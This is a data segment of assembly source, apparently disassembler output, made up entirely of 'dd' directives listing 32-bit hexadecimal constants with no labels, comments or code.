dd 0FF63E840h, 6D770386h, 0BE02E551h, 8EA1D515h, 99DFD644h
dd 5FC40840h, 2672515Dh, 0CFC8BEh, 0CE503150h, 2E40B71Eh
dd 435F2FC3h, 0D8F19A6Ch, 32C55FC3h, 6646546Fh, 0E1F7215Dh
dd 0F1829A80h, 0FB6A6078h, 643BFB58h, 0ADCA8BA3h, 4685EC4Dh
dd 2DD0A9D6h, 0D33050F7h, 0ABAD55E0h, 1EE828ADh, 5BC16535h
dd 83536966h, 9590D64Fh, 21BACB2h, 0C00D9548h, 7B9B2655h
dd 44BD886Fh, 4C9711E6h, 4E775D08h, 0EAC5FFBBh, 57108F49h
dd 0A4450DEBh, 96215BE7h, 0E98A4C4Ah, 555972E0h, 2940A208h
dd 5EF19E75h, 0DB9EA4AEh, 9400141Eh, 7287B4F9h, 8E0A4C0Ch
dd 63CA7E82h, 0FEAE9FC8h, 0CAB51374h, 0FB01790Ah, 0E44FC49Ch
dd 0A042F546h, 4AED16C0h, 3C486402h, 0F3B26EF5h, 7F2B5E34h
dd 6BCF50FBh, 6FA5F952h, 0A7B30A3Fh, 8B90F450h, 0B845CE1Ah
dd 0BCBF50FBh, 0A12F88BDh, 282D27C4h, 9DE0FF19h, 9CA44D54h
dd 0C9B09581h, 4051F378h, 0AB12111Eh, 91B4550Dh, 0E8C776CFh
dd 0E53032D8h, 37A3995Ah, 28A68BBCh, 2250A881h, 0BD3CC9C5h
dd 0B756BD82h, 64DCDE78h, 1FE051B6h, 8848C51Fh, 0E259A5E1h
dd 46C60D55h, 297877B7h, 0E54D95ECh, 31F12CF4h, 832B21E2h
dd 81BCF18Eh, 37EBFFCBh, 0DF537443h, 0F76E4788h, 22B362D3h
dd 84996589h, 8B8E4E39h, 3AA3771Eh, 0DBF9CC8Eh, 60604A1Dh
dd 0C9432CB7h, 0B59CF8B7h, 0D2FF797Bh, 0E6F8F596h, 5A2C737h
dd 2A782B7Ah, 84177A80h, 1EEE35BEh, 5D8106F2h, 5B3B4F81h
dd 0C66F175Ah, 0D462F92h, 5F65F4ADh, 0D74CBC49h, 71E0528Eh
dd 0AB6AB6D3h, 0B48E103Fh, 0C3D3F885h, 6DDFA626h, 0B36C4119h
dd 0C7C5D716h, 0EA8FB507h, 76AC72Ah, 4D5ED82Bh, 8139C674h
dd 874D364Dh, 232792F2h, 6245DD11h, 0C5739360h, 0DF76176h
dd 22E51695h, 0DFEE71C4h, 7339278Bh, 0FC057ECDh, 100C1614h
dd 1D1C6345h, 345F33CDh, 0B2384232h, 4792C5A7h, 43E947DAh
dd 226E1FB3h, 0CE1B70C1h, 19550532h, 0A5C5C709h, 0E2E300E1h
dd 0D61A0A57h, 6BDBDBB8h, 22E43E11h, 0A683C55Bh, 7091F6D7h
dd 811C2F11h, 7B578Ah, 0AED590C5h, 12A7CF00h, 0B52A104h
dd 915FB2BBh, 35701408h, 0B6948437h, 0B9F44DCAh, 1961EDFCh
dd 0A69E2EB3h, 0E41E2F7h, 0A57B4B14h, 34646DADh, 0B4A50522h
dd 0ABD5AF48h, 8E869300h, 7BFEA484h, 1E33C86h, 36CDFD94h
dd 10B80914h, 963C8EDDh, 0FFC4C433h, 0E73758B7h, 6CFD93Eh
dd 38CE7AD7h, 497ED4CCh, 5A02B215h, 727BDEE2h, 0D246A8BCh
dd 9CD29449h, 0FAF963DEh, 0DDCA493Ah, 1CCDB5AFh, 0D1132B16h
dd 0BD0B7C3Dh, 15A84291h, 64C59ED8h, 889502E7h, 3C6291AEh
dd 48706909h, 3B5553FEh, 0C53C0BF5h, 0D82D848Eh, 0B490A8BFh
dd 0BE4079B9h, 31CAC8CCh, 524DC051h, 8A2398F0h, 0DFE1429Eh
dd 239AF900h, 1A2545A8h, 7C215E48h, 509BFB87h, 2606F0DFh
dd 60E573C8h, 3F3EDC27h, 72ECF9FFh, 7ADD36F6h, 5A82CB05h
dd 9034BDF8h, 2A1DFD6Dh, 5547EBA7h, 8EA0FDE9h, 0EAD8DE98h
dd 7B2BFA64h, 57A76F7h, 6A5135F5h, 39CE845Fh, 857C1266h
dd 3D5C3927h, 0A239DCCAh, 3C7905Bh, 8EFB4247h, 38E18F41h
dd 0DB9B492Dh, 1C6AB809h, 6120D089h, 0DB59E96h, 0B0239899h
dd 43A80F3Ah, 0A7975F02h, 0DC7B8FFBh, 0ACBE5DA8h, 52B1446Bh
dd 93810206h, 88D27038h, 99DACCE3h, 2AE8B410h, 317BBE33h
dd 2EBBC201h, 0DB1300F3h, 0E5A2DFE8h, 0C51C41C5h, 0DBB1C992h
dd 81D8CF5h, 0C1EDD6F3h, 7BE2C053h, 0C78AD84Ah, 0E7EAD140h
dd 0AE8C124Ah, 953EC129h, 0F16FAF42h, 39D68B0Dh, 836C465Dh
dd 5EEC1C7Ah, 44FE4B29h, 0CB2E996h, 232439C2h, 0E809CF25h
dd 72A00AE9h, 1C246671h
dd 0FE3DA37Ch, 0FBED2F8Ah, 0B0517E37h, 362DC471h, 38295CC6h
dd 0CD68B952h, 0E2534A73h, 42A9C2CAh, 4D45E506h, 0CBE1C633h
dd 0BEFD6F84h, 8C74585Ch, 6E247211h, 733A8F49h, 0DA4ECE1Dh
dd 0A9D4C5BBh, 0FC2E3365h, 0A86827EAh, 1E3AE741h, 0D995DD47h
dd 0A5F7C0A3h, 0FC2826B8h, 3CA7539Bh, 7AEB33ACh, 77C16DA3h
dd 0CEE275EFh, 4C43CD4Eh, 325F0974h, 1B0F6B3Fh, 0FC1EF0A6h
dd 0F2EF74D3h, 0BCDFAD8Dh, 0AABB3C2Ah, 2F6F915h, 2A94244Ch
dd 513ED146h, 0B74C2709h, 0CDB32615h, 0A87A39D6h, 0D4050C5Dh
dd 71615B6Ch, 0B17E6695h, 0CCF7DC57h, 0B8FA19A5h, 49D7CA52h
dd 8FDCC47Bh, 13A2D7DEh, 865B345Fh, 0AD5D0649h, 688FF5A1h
dd 1351E9C1h, 0EF407E0Bh, 122D016Eh, 69CDE87Fh, 0FD841A88h
dd 0EF3FBD76h, 0C46499A4h, 795C69F8h, 244DFB34h, 13A922C1h
dd 0D9ECB9CBh, 0BAB22405h, 0F32E6892h, 0B2BA5B35h, 0B25CD229h
dd 0BE7D8CBh, 8F4B4237h, 0B0AF21EAh, 69FCF159h, 0FA47F10Ch
dd 7EEC2496h, 8C1CDB4h, 84529CA0h, 0C5F7A0B5h, 0E63895DEh
dd 0F3BDCA6Fh, 4903A835h, 0C622619Ch, 0FFACB98Fh, 41E61402h
dd 94EBA6A7h, 0E2AA08DCh, 0AA209A1Eh, 0FE6C4C7Bh, 5B9B8BC7h
dd 5E84A0F9h, 38D0B4B3h, 97B371A5h, 3DA109D0h, 19F23960h
dd 301A618Fh, 33D27DD9h, 6528099Dh, 73550139h, 830F36CEh
dd 69220FE3h, 0AABE8816h, 0D474ABF6h, 0BAAC6120h, 10266653h
dd 0F3F2EADBh, 131F1214h, 67D0415h, 0E9F0AA35h, 76D37A5Ah
dd 360050FDh, 13C880A5h, 0D596DFE1h, 9FA8908Fh, 15477CCAh
dd 0E65A0055h, 4EF8CBA5h, 3446C32h, 0F05064BCh, 700EF1F8h
dd 0FA97EC53h, 5B0CE724h, 35BB1B03h, 0A2A65B2Ch, 17CB4F38h
dd 24C0DAD2h, 7811FD90h, 88984889h, 0BA8885h, 0ADDEFA93h
dd 0E31CD85Ah, 0C2E3AA19h, 0E6006593h, 890BD052h, 0E5C8330Bh
dd 2E1181E6h, 0B3FEA616h, 6EE3232Eh, 4D924CF6h, 40D21899h
dd 326DB3BAh, 57D90CF1h, 7633B72Bh, 621427AAh, 0BADC1A60h
dd 0F17AF7EFh, 0C6610E2Eh, 5BD4D418h, 6BAEA2BAh, 2765085Ah
dd 303EAB40h, 0D14D12B1h, 5E3243EAh, 865BD694h, 7CF58B0Fh
dd 0DF57B98Eh, 4996718Eh, 0A0704307h, 8D627F1Eh, 0D862FAA8h
dd 5F988A1Ah, 5B9C8D0Ah, 0A5F280Eh, 6DCA9CD6h, 4FDE8181h
dd 0AB45A862h, 0AD43A0EAh, 7DDD58BCh, 14B9873Eh, 6E0A275Fh
dd 7C58299Eh, 54976AA6h, 7F3E813Bh, 86332A6Ch, 0BF00226h
dd 50416ACBh, 0D87C94ECh, 1C741E13h, 0C4C91D5Bh, 251998F7h
dd 2A31070Dh, 8303CC60h, 60785085h, 8D17A11Eh, 6BE03754h
dd 249E164Eh, 0BAA3D805h, 0D222CCD8h, 17C24BDFh, 26433573h
dd 9DE19BAFh, 8A94D0FEh, 8E2641AAh, 0EA4B4262h, 921054F5h
dd 9D63AFA0h, 0EC75B37Eh, 4C06C42Eh, 2FA87874h, 9411C85Fh
dd 0C67B9432h, 0BA909EB0h, 0CF54650Fh, 8FB78E66h, 78533D9Ch
dd 0E8656A08h, 5679E4D6h, 0E21A6658h, 0C5CFC551h, 1324EE72h
dd 10AEA854h, 67FAE357h, 223A2C5h, 85920460h, 0A475E1E2h
dd 75CED69Bh, 4FF37AC0h, 5F111BFFh, 94C206B2h, 2010F6C6h
dd 531D59F1h, 3FD12908h, 418DA5F6h, 0E9565803h, 0DAAA2CE3h
dd 3F562FF5h, 29E1B75Ch, 0B04B6CAFh, 73F3B8D0h, 8FA5A411h
dd 427A3068h, 973D936Fh, 518539C0h, 0D8247B6Eh, 19CB5CC2h
dd 2AD17AE0h, 1E3F0BA3h, 0AE7BF92Eh, 8D2E0014h, 684561A2h
dd 659E4F68h, 70AAAEA8h, 93DE5F7h, 0A451702Bh, 740A8911h
dd 0BB02C159h, 0B0F661CBh, 790AF061h, 267D8BBFh, 1DA52584h
dd 7A568BA3h, 2D9650B6h, 2E2F847Dh, 0DE530D8Fh, 6BF7EBDCh
dd 93ECB9AFh, 8D4B4217h, 0EDDD40F7h, 0A614DF1Fh, 0B5B45177h
dd 0C07B6D49h, 82B360F4h, 0BD14911Fh, 1DADC289h, 105D0053h
dd 329A70F4h, 2E0DB592h, 5FE8B6D6h, 8926A16Ah, 59C1C6Ah
dd 10A3672Ah, 7CB20D95h, 67E04Dh, 180C1067h, 0B3520DADh
dd 0CC4C5FC4h, 0A154F93Bh, 908672Ah, 6D11A53Eh, 322091E8h
dd 0C538E958h, 0AECC030Bh, 9EE869FEh, 9B5DAF8Ah, 0C2A659E5h
dd 0CF5C7305h, 0E4D448FCh, 7455722Ah, 15711B61h, 7AAB9AD6h
dd 0FDADBC84h, 94DD03EFh, 37727B7Ah, 86C1E101h, 959B58AAh
dd 36B3C0DAh, 0DA21AA29h, 0B5DE261h, 0B6F1B924h, 0A2DECA57h
dd 1FBC4ADEh, 5A5DC6A1h, 0F9E018DEh, 991E6FA8h, 0D1D296D7h
dd 8618D047h, 0C27EE9h, 9CAA2E1Bh, 0D237E34Ch, 30D0A1D5h
dd 1FBEC305h, 5E0E334Dh, 0AFC15C19h, 0BD92278Ah, 16BC2BECh
dd 1183A448h, 5E295398h, 8F2E9811h, 63213E9Bh, 99166E17h
dd 888B400Bh, 4DF6CFCFh, 0BC7A7456h, 0A07A09C2h, 0EFD5D3DBh
dd 2527875Ah, 0E1BE6B41h, 7C5A05Eh, 0CDC5D6A6h, 0D3A3789Fh
dd 3FAE8EE3h, 8197D782h, 6B20E36h, 0D3BFF6D5h, 30CE1C2Fh
dd 73A576C6h, 0D22E517Fh, 2FF8CA80h, 9E88BEB2h, 24FF384Bh
dd 81565302h, 79F81A78h, 8BD06F8Ah, 0EF5C8CA9h, 7ADB6841h
dd 79B6EBBBh, 7FEB029Fh, 47D7CA3Fh, 0C66E3B88h, 3B7B276Dh
dd 0FE490830h, 0DF747FF4h, 0C259F03Bh, 13074B55h, 0F6997D6Dh
dd 9E43054Ch, 0CB01CB93h, 0F422E581h, 40A5F9A6h, 2AD13756h
dd 5F8F6266h, 685A8670h, 16E5C17Dh, 24FFFF0Fh, 0A0BE3BF8h
dd 5EC10F6Bh, 791E2627h, 27994BD0h, 7D799EFEh, 72F1E1E8h
dd 7ABBD7DCh, 2AE7605h, 0F3EE37AAh, 96036B16h, 0F3712375h
dd 12AFE8DBh, 0B047177Bh, 6D285DCEh, 9E701738h, 575B1238h
dd 363DF5E1h, 3CD2317Fh, 0D44F678Dh, 0AF561956h, 4ED887D3h
dd 0B48709A4h, 53FC67C5h, 0F2B5122Ah, 0AF0B2B6Eh, 7FC78B3Fh
dd 5A8CD181h, 344F4078h, 1B1CB2AAh, 67DB03AFh, 5E76CFADh
dd 553ABF31h, 632FC61Dh, 0B3691AAFh, 0B2A6BEB2h, 0ABEFB8BEh
dd 0F21FC984h, 0FF96659Ch, 76124083h, 1874C859h, 0BD697211h
dd 5B53AB8Bh, 7FA08514h, 0AEBC28C2h, 0D3EAFF84h, 1FFF0AFh
dd 0A74325E0h, 35DF7D7Ch, 7BFC51Bh, 0D7B61875h, 9CC76BD1h
dd 6AA90109h, 6D3AF8FFh, 0DB591AA0h, 913B01Bh, 91A55E63h
dd 0C3C3AA3Bh, 0FD8E325h, 8DDEE397h, 31776251h, 76F0E978h
dd 0A2978FE5h, 0E1857CB1h, 1A846F21h, 93FF329Ah, 3790648Ch
dd 7D2C8718h, 58A9591Ah, 0B3780370h, 424DB968h, 0F1C7A1E8h
dd 54971789h, 0F8153666h, 0E20D053Bh, 9D1C4358h, 0B42904Bh
dd 1F57708Bh, 48C96B25h, 0C2D231EBh, 83091699h, 938B10D2h
dd 10A3A54Fh, 81F6FAE2h, 0AA188743h, 0F36C35ECh, 71579345h
dd 0E5046A9Ch, 0FBBE0A56h, 1EE4414Ah, 0DEAA992Bh, 0F08E3715h
dd 0DCF3673Fh, 77F694A4h, 0EE1E71B0h, 326B08FAh, 0E1AC1380h
dd 0DDFBA25h, 0A903E081h, 0C5A4C568h, 3D74030Fh, 396820D5h
dd 61A421FAh, 810257CAh, 0F570285Eh, 0A04952Dh, 0C0263A86h
dd 7AFC0082h, 0CEFB390Fh, 84170B5h, 0D33F0DC0h, 5331CBF0h
dd 941994E1h, 9FDED48Ch, 0CDAAE6F9h, 0D59D2701h, 699B0DB0h
dd 0A45D8DDh, 4F8E1569h, 0AF6A5CC4h, 95D45500h, 5D6B7061h
dd 0A71BAA0Bh, 0FF4F104Bh, 1534E4B6h, 0F087811Dh, 0ED5B47Ah
dd 0F2F96C44h, 628E818Ch, 686D3FE9h, 0F45CE509h, 36A48BB7h
dd 0A0983E11h, 0D731780Ah, 6F57354Fh, 36CFAB22h, 0E10CCC5Fh
dd 0F6828B30h, 0A069B199h, 4F57C42Ah, 29D3B29Bh, 0A214FFB5h
dd 2329A107h, 9C5AF726h, 0BD44AB94h, 0B4240380h, 0ABB62A61h
dd 6FB82927h, 785EB183h, 3A05E08Ah, 0DF20F543h, 2A1711F5h
dd 0C1C5113h, 0B5FDEBABh
dd 0C2784087h, 0F42EE7EFh, 0B0DC195Fh, 0CB4D3614h, 0C81409E2h
dd 0E82334D1h, 16ED7FB0h, 86096899h, 6372F191h, 100F9EE9h
dd 39468CAEh, 5AEB1DFCh, 0B1D167D5h, 9BE9B2D2h, 30B868E1h
dd 9BF50E8h, 0F63F706Ch, 5932144Ch, 0F4C3512Bh, 0E9499880h
dd 85BE443Ch, 173A4780h, 0BE89FA2Dh, 8288EC4Ch, 1DC55E31h
dd 83E3948Dh, 2D9C5426h, 530C4672h, 29B35C7Ah, 69CF0EC8h
dd 0FC026F6Bh, 7A8CED3Fh, 7E002682h, 3FCCFAACh, 5114A8B3h
dd 0CE70EB5Ah, 0DB5C4A0Bh, 0B93682EBh, 6A7494FEh, 159D6C0Dh
dd 0FEF0402Ch, 807762C0h, 0A94743D1h, 863334A2h, 792549B1h
dd 1C8E8DA9h, 95203664h, 0F359877Dh, 367DF8FBh, 4CCC1E35h
dd 64F057D6h, 0E5C1D264h, 0D3D8C328h, 0B56E5E5Eh, 0B34E972Eh
dd 84BB9057h, 800C1BC0h, 0F480DB53h, 4A3E3464h, 37F3B210h
dd 0ACD95E25h, 383C8D84h, 74E9C847h, 175C984Fh, 1131D8E9h
dd 2C4BB25Ah, 4BDDA8Bh, 0E80DCD79h, 985505Dh, 2F3A427h
dd 461A795Bh, 0F5E9AE6Eh, 786D7E79h, 34DF56E2h, 0D8486D02h
dd 8CC49851h, 9F3CC4A3h, 3B05DE7Fh, 85A356E7h, 0B427437Ah
dd 34EE294Fh, 0F5534CF2h, 8FD7C0A5h, 0A92D2336h, 96793D0Eh
dd 119A5F2Fh, 0CD19678Ah, 0B5EE1345h, 48370EA8h, 0B2ECD375h
dd 320AD800h, 658AE6AEh, 7D24BA7Eh, 34C437DAh, 373A7338h
dd 6F75D5C4h, 1EC82C65h, 8603D5D9h, 0A8647E2Ch, 1E5B8F81h
dd 86B59F62h, 493CE78Bh, 8720ED48h, 3D367AB5h, 0A32F852Dh
dd 0C148FC87h, 84AA2D65h, 99827E3h, 9926C87Fh, 4AF1C904h
dd 26695071h, 26A77C4Ah, 0CA374E86h, 51941B59h, 26EA51ADh
dd 80BECD7Fh, 6BC5FB35h, 16656FFFh, 1212432Dh, 7B24E866h
dd 0FC09A0EBh, 0E8D59E84h, 0AAACCB33h, 0F021D4F9h, 8AD319BFh
dd 0E9C37ED9h, 569A280Eh, 0B899F2AEh, 68EBDE2Fh, 817FFC72h
dd 0D221D23Ah, 57D789F6h, 59B5F030h, 0FCFF44E6h, 7716A22Ch
dd 995340EFh, 5B942A56h, 3665DFA0h, 0BE16D0A3h, 32BECD2Ch
dd 0DF1E4FBFh, 0E7EFD011h, 0E30AA127h, 79CDA55Eh, 0F55D803h
dd 3F22F02Ch, 80B6DD4Bh, 4131AD1Dh, 85F93803h, 53690B54h
dd 0F87F85EBh, 0DF6B1EE9h, 2BBB8B77h, 518AE3BFh, 0E450CA05h
dd 0D5E36F40h, 0E21832CBh, 850B76D5h, 0B3584601h, 4231C62h
dd 0BB5E09C9h, 5F79EA23h, 6DAEB53Fh, 23836C6h, 0D7B13AFh
dd 23FCBB2Eh, 8140722Ch, 1F689298h, 0B44349D2h, 39550640h
dd 32057BB5h, 4B175B25h, 667877FDh, 7953D0C1h, 686B3E77h
dd 528B6241h, 7C8D8F6Dh, 2386B9D2h, 912DFC35h, 0A7C34F12h
dd 620D62CDh, 0AAB73AD3h, 374537BDh, 0D7A05F2Bh, 40AC0B0Bh
dd 9B44958Bh, 0A3CD4F4h, 0EDB7D99Dh, 0AA81091Ch, 92EE4342h
dd 0EA5FB3A9h, 95564A05h, 0AA1E9426h, 579881A9h, 0B69891B0h
dd 99443897h, 3BB35DCDh, 39CE3C36h, 394ACE4Bh, 8649AA06h
dd 0E56D1953h, 6D2AABE5h, 2220497Dh, 6DE23967h, 1C714903h
dd 4174118Dh, 0B2B6823h, 0D90094E8h, 838E70F3h, 0BBBC7F1Ch
dd 0E0B5FA56h, 375410Eh, 360E7108h, 0B4B90521h, 0E16F749Ah
dd 0C088F4CDh, 17461976h, 1CB714A7h, 59638AF5h, 9997B4D4h
dd 0CBFA2855h, 4EE8C654h, 0D28D62C4h, 0CF2697C6h, 0AE7CBC8Dh
dd 9682C86Bh, 9AF09D75h, 0AFA74269h, 1231EB47h, 0B2EBA5E0h
dd 0D28C40B2h, 0FDAC1830h, 69F3D20Dh, 6074E22Ah, 0A348D0C6h
dd 9C56E0ADh, 0DCF4CD79h, 0EC04FC6Ah, 0BB10809h, 0E3B55B1Bh
dd 4B3A3EC4h, 517F140Ah, 0FBE26873h, 0C7BF4ED6h, 7998764Fh
dd 85792794h, 0C416757h, 0F2774BD6h, 0AD15A157h, 0DC59C0C1h
dd 0EA2243ADh, 22702A0h, 6C42AB40h, 5F79577Dh, 599A564h
dd 0BFAA3E7Ch, 95DF5C43h, 8374CA04h, 0E13DBA1h, 0C4716817h
dd 0DA9CBAB6h, 60B07D8Dh, 0EB7A3656h, 0B0DE805Ch, 0C90C5FAAh
dd 2C78B44Bh, 80347048h, 0B9705017h, 0BBDA5279h, 7B675E9Ah
dd 0FD510989h, 0BF95801h, 8F0EF407h, 4BC9EA8Eh, 2823FFF0h
dd 0B9E34B88h, 58207378h, 2A266053h, 0D52D9217h, 0A97802FDh
dd 0B560921Eh, 8B10A451h, 45978E68h, 12919522h, 38106BB5h
dd 311E1BC3h, 0F38D5395h, 664B38CBh, 82420801h, 9C13DFCFh
dd 93086E03h, 0B2B54ADAh, 0C144E04Ah, 0B6FE2304h, 75E02B53h
dd 0E0E99A26h, 15D925BFh, 182F737Bh, 99B4C2FBh, 41972EFFh
dd 1EFA089Eh, 0D06E1FE7h, 1A68D883h, 0F0ABC446h, 168E7077h
dd 3C1A7759h, 0CD6F28D9h, 0A3771793h, 2131E602h, 31967540h
dd 5E9F14F2h, 65DDA59h, 20D437D3h, 43C3A1A7h, 0F1370F7Ch
dd 0F1B03E7Ch, 0A49174ADh, 0B21A7F0Fh, 8FC441E6h, 544EA928h
dd 0D794E2AAh, 75363D42h, 98286713h, 1FF7BEDh, 37D05923h
dd 9779217Eh, 85A0B9BDh, 32BBAF15h, 25B30C9Eh, 6FB6843Ch
dd 15AA40CEh, 0ACE9D7A8h, 515BD87Fh, 91A83822h, 29A33597h
dd 0D0C80604h, 0B188F3E9h, 6271D6DBh, 0A2431D44h, 7C9C2B70h
dd 2D7EB6CEh, 0C2B496A2h, 0BEB5611h, 99F4C7E8h, 87772018h
dd 80841C33h, 0AA515651h, 4C70C3D0h, 0C7856CA5h, 7968DDC3h
dd 0CA5CC052h, 0B04ABE29h, 5C4B0FC2h, 2DF65746h, 0E8B51BEAh
dd 0BC7433DFh, 29E047A0h, 903EF7F1h, 277D96C1h, 7098565Bh
dd 973EC206h, 15EC1CECh, 0D8C5AE82h, 45901E3h, 0BFDB8555h
dd 0B9EA22FBh, 0CA03AD65h, 0BD3C5314h, 3B726BC4h, 18032DFCh
dd 168401EEh, 0AB1992BBh, 0EA39F3AFh, 0C171C5E5h, 39568225h
dd 658D7990h, 57D64420h, 669D1BB1h, 579D86A8h, 3EC5DAAh
dd 9555003Fh, 61EE8BFEh, 0C84CAC73h, 96C57657h, 20FC447h
dd 0E631529Bh, 0BAF50AD5h, 0DF761EF9h, 867FFB0Eh, 7BEDAE09h
dd 6699F350h, 642CD7C3h, 43D0C75Dh, 0A371E03Bh, 0F64C21D1h
dd 0AC865E2h, 97BFA863h, 5D84D969h, 4EEF4029h, 181E3F21h
dd 0F184023Ch, 0E694BF40h, 0F598211Bh, 168014F2h, 0BCC14C4Ah
dd 0DFBB041Ah, 458872DAh, 0B5B16059h, 168B1F5Ch, 2EA4EF13h
dd 8AC564AAh, 98874E63h, 86ED98AAh, 586CF25Ah, 3B707476h
dd 0FF737086h, 97CB2067h, 0BB26EA5Ah, 0C73E403Eh, 4CFDFE1h
dd 8EB0A708h, 41561CE4h, 8F31396Dh, 96708EE5h, 5DE2E49Ah
dd 0EC03FBC1h, 0D2903DCEh, 9D73B674h, 2708CC23h, 2693F24Dh
dd 0C6EDE545h, 0E236E2B7h, 0D605E9AAh, 0AEFE550Dh, 38B05AF4h
dd 1B98F7F1h, 0EF2C173Bh, 7017DAA6h, 0ECB00175h, 0C3E5F3C8h
dd 0E4494728h, 8CBA9A48h, 0E69C6DC0h, 3D178D13h, 3FEB793Dh
dd 0B1D394E6h, 50155289h, 6B2D53B0h, 87B5C612h, 4AA12D6Bh
dd 53262517h, 0DC077D77h, 41452B44h, 0A42CF4E6h, 6CC5707Bh
dd 29E3AC4Ah, 0F7A23499h, 4BE177C1h, 9E94CD07h, 0ADD8DDCFh
dd 77EC876Eh, 0D959DBCFh, 0A288F328h, 5BEAD57Ah, 1CF60D09h
dd 5A6AA437h, 0A1226743h, 65B51CD8h, 0C50300F2h, 0BAE8DB8Ah
dd 50800DC8h, 0D6FE3964h, 0A27AD340h, 0B2A630E8h, 20417E5h
dd 17C49667h, 247623DDh, 0E78C1B50h, 52AD1CAEh, 57765968h
dd 0E1100A2Dh, 0FCD09E67h, 8677123Bh, 0FF224301h, 9D03AD7Ch
dd 9D947E6Ch, 67BEF8A9h, 0F1C87542h, 3FD0294Eh, 591ED4C1h
dd 375E5C5h, 84AD774Bh, 911B5C6h, 64A6D95Ah, 0E4CF19A5h
dd 3683045Eh, 0CB9DB606h, 0BFC8866h, 0E66EAA47h, 9E974F6Bh
dd 4CE831BAh, 92113CB0h, 7295F93h, 4CC9DE25h, 0A6F1E02Bh
dd 0E85F185Eh, 69383A6Ah, 73DC91C7h, 3E108F3Eh, 389038EBh
dd 0B090E83Eh, 0EFA40B24h
dd 16FAED60h, 58F712A8h, 31870B0Eh, 0DA1F8436h, 0DC25E7A6h
dd 0DF68DE05h, 0D898E27h, 22FE508Fh, 2E04C0A2h, 0A46C0FFCh
dd 9CEB5A63h, 6F4E0C45h, 0E5BDFC6Eh, 0E0CB39DBh, 0A09CFBE4h
dd 0C63516E5h, 97D1A227h, 2F3C7227h, 5F099027h, 713CB6AAh
dd 87B5BD97h, 2B2A1BF4h, 178BE158h, 0BDA166FDh, 449C862Bh
dd 11B0F311h, 77AE29EBh, 0A208234Ch, 73AD8DD6h, 0D1D2104Fh
dd 0F25A1568h, 2416D2E1h, 0DD3245D2h, 0B947DB23h, 54C30736h
dd 0D873FF35h, 632BA0B9h, 0CC80A1C8h, 33487F0Ch, 3E877D7Dh
dd 0BE7E9FE5h, 0D7B6E26Ch, 0AA789B6Eh, 0AC1EC34Dh, 3EB0BBF7h
dd 0B3AF7443h, 8A57147Eh, 61B26465h, 95581CF8h, 6030FD58h
dd 2C6DA18Fh, 9AECEDBCh, 8E5DB139h, 5A804C95h, 540FDC26h
dd 83C6F6D5h, 53AF4C83h, 68B38354h, 3340D84Ch, 0DA6560DFh
dd 0E571690h, 4AF809Ah, 7CE90B90h, 0D5B7DA99h, 60C33D0Bh
dd 8250CAF3h, 78E68F4Eh, 6557697Dh, 0FF33C04Bh, 0A9A32C15h
dd 804CDD71h, 3CA55CDCh, 0C3DC1DBCh, 0D1879907h, 22A22A42h
dd 0B4D8FF9Ch, 51B1E89Bh, 6822C79Ah, 626403FAh, 377C262Ah
dd 16FD27ACh, 1EA0DB35h, 0F34F60CBh, 1659FE9Dh, 300249F0h
dd 0CC4568DDh, 1BE9A7DEh, 9B18F3CAh, 38163874h, 2BEDB9A5h
dd 0C33DBF71h, 10029A6Eh, 0F6E71659h, 5EE0A81Ah, 9288D019h
dd 76185217h, 0E95E76F8h, 4F207887h, 1638FB26h, 320F6E9h
dd 6CEE7225h, 1CBE40EDh, 7DA4DDCh, 1C6E41EBh, 86283599h
dd 0B2E93E4Ch, 678EDCC4h, 5A7795C1h, 0FD7E6D25h, 20CCDA99h
dd 29D72A6Bh, 0F6DE627Eh, 3B0E25Ah, 3EC97ECEh, 0D927680Dh
dd 0EC391319h, 51A0B498h, 445BFCB0h, 8BFFA2A8h, 0B8F8AA68h
dd 8990A14Ch, 4C28AE38h, 33E7679h, 487F8184h, 8240380Eh
dd 5C200789h, 0CDCA1349h, 63AD31BFh, 0D06FEEh, 8259034Ch
dd 0A713A85Eh, 87C121B6h, 1E68BAF7h, 0A6100F17h, 96E92E36h
dd 0EF4FF108h, 3C53CE0Eh, 0C13347Dh, 7B95ADE0h, 0AC8D9BFCh
dd 0CE2CDF56h, 0A4350447h, 81D64AC0h, 830F6AFCh, 0B19C8B2Eh
dd 0A8DBF267h, 0E0783871h, 1F55199h, 784C295Eh, 0F82DD0A0h
dd 0ABCEAC80h, 713BFCBh, 2D40828Eh, 9685684Dh, 0B7980840h
dd 15EC174Dh, 3B4FEC67h, 4EEEE79Dh, 7B5B1631h, 0D822579Dh
dd 91BC3360h, 0DAF46A95h, 0A3B7DED2h, 5AC79D7Eh, 0D1BE3748h
dd 63967718h, 205921C3h, 3A957C6Ch, 4857407Dh, 70ABD881h
dd 0EFFA800Bh, 7738CFAh, 40A504DAh, 450BB896h, 0C47BF20h
dd 36D0488Ch, 6A847716h, 87D3993Bh, 8C89BA69h, 3B0C9CB1h
dd 0F9E1BE2h, 44366215h, 786F09C5h, 0A92EB50Ah, 6FCD94A2h
dd 15C8E147h, 9D659A6Eh, 40A4337Eh, 76E033D6h, 0A51444C9h
dd 775A2A90h, 8E751E80h, 0F8101094h, 24955AA9h, 73759BBCh
dd 98B62AEBh, 62D91403h, 391953FFh, 0C129BCAAh, 348A460Bh
dd 5B9D9AEAh, 27440F44h, 733CDF8Ah, 8291AFD4h, 5307AA87h
dd 78800855h, 0FD071C25h, 708201BEh, 0C28B5B5h, 422FD6F0h
dd 4EF328BCh, 5499951h, 0D8F5CE43h, 9450D8EDh, 0A5EAB218h
dd 464A9BA3h, 0B1877F08h, 0FEEB22A1h, 2248C5EEh, 65B9EAD8h
dd 98EF9569h, 1942A193h, 0EC6B8831h, 96AE9FE1h, 40259828h
dd 90B16D0Bh, 0D4DD93A3h, 22F6CEB6h, 49425516h, 0CDA12817h
dd 33A8CFA3h, 8B7539F0h, 0C9B7A895h, 595CC6F5h, 22E96C5Ah
dd 4F8D16ECh, 390C7894h, 0E5A2B9FCh, 29DEE718h, 0CCFF420h
dd 414AFE71h, 0A80E55D6h, 5B830261h, 0EAD2020Ah, 0E8A74D2Ch
dd 0ACA213A3h, 67149D5Eh, 3DC4FDE2h, 8C330877h, 0BF21EDBh
dd 5D40D64Dh, 0CA879AFBh, 0D4D80256h, 84C889A4h, 72EF5BDCh
dd 0CAC8E970h, 0DAEA328h, 0A74A2163h, 0ADDE5422h, 0AD87E1E5h
dd 1E933DE8h, 27621870h, 6AE75D4Dh, 3FECCF03h, 876A7C84h
dd 6AE935FAh, 90FC5740h, 0D9A42C12h, 9F748776h, 0A25B5B64h
dd 4A31E78Fh, 5C07CFF9h, 0B26EC3E3h, 0D3C45BAh, 30AA9ED5h
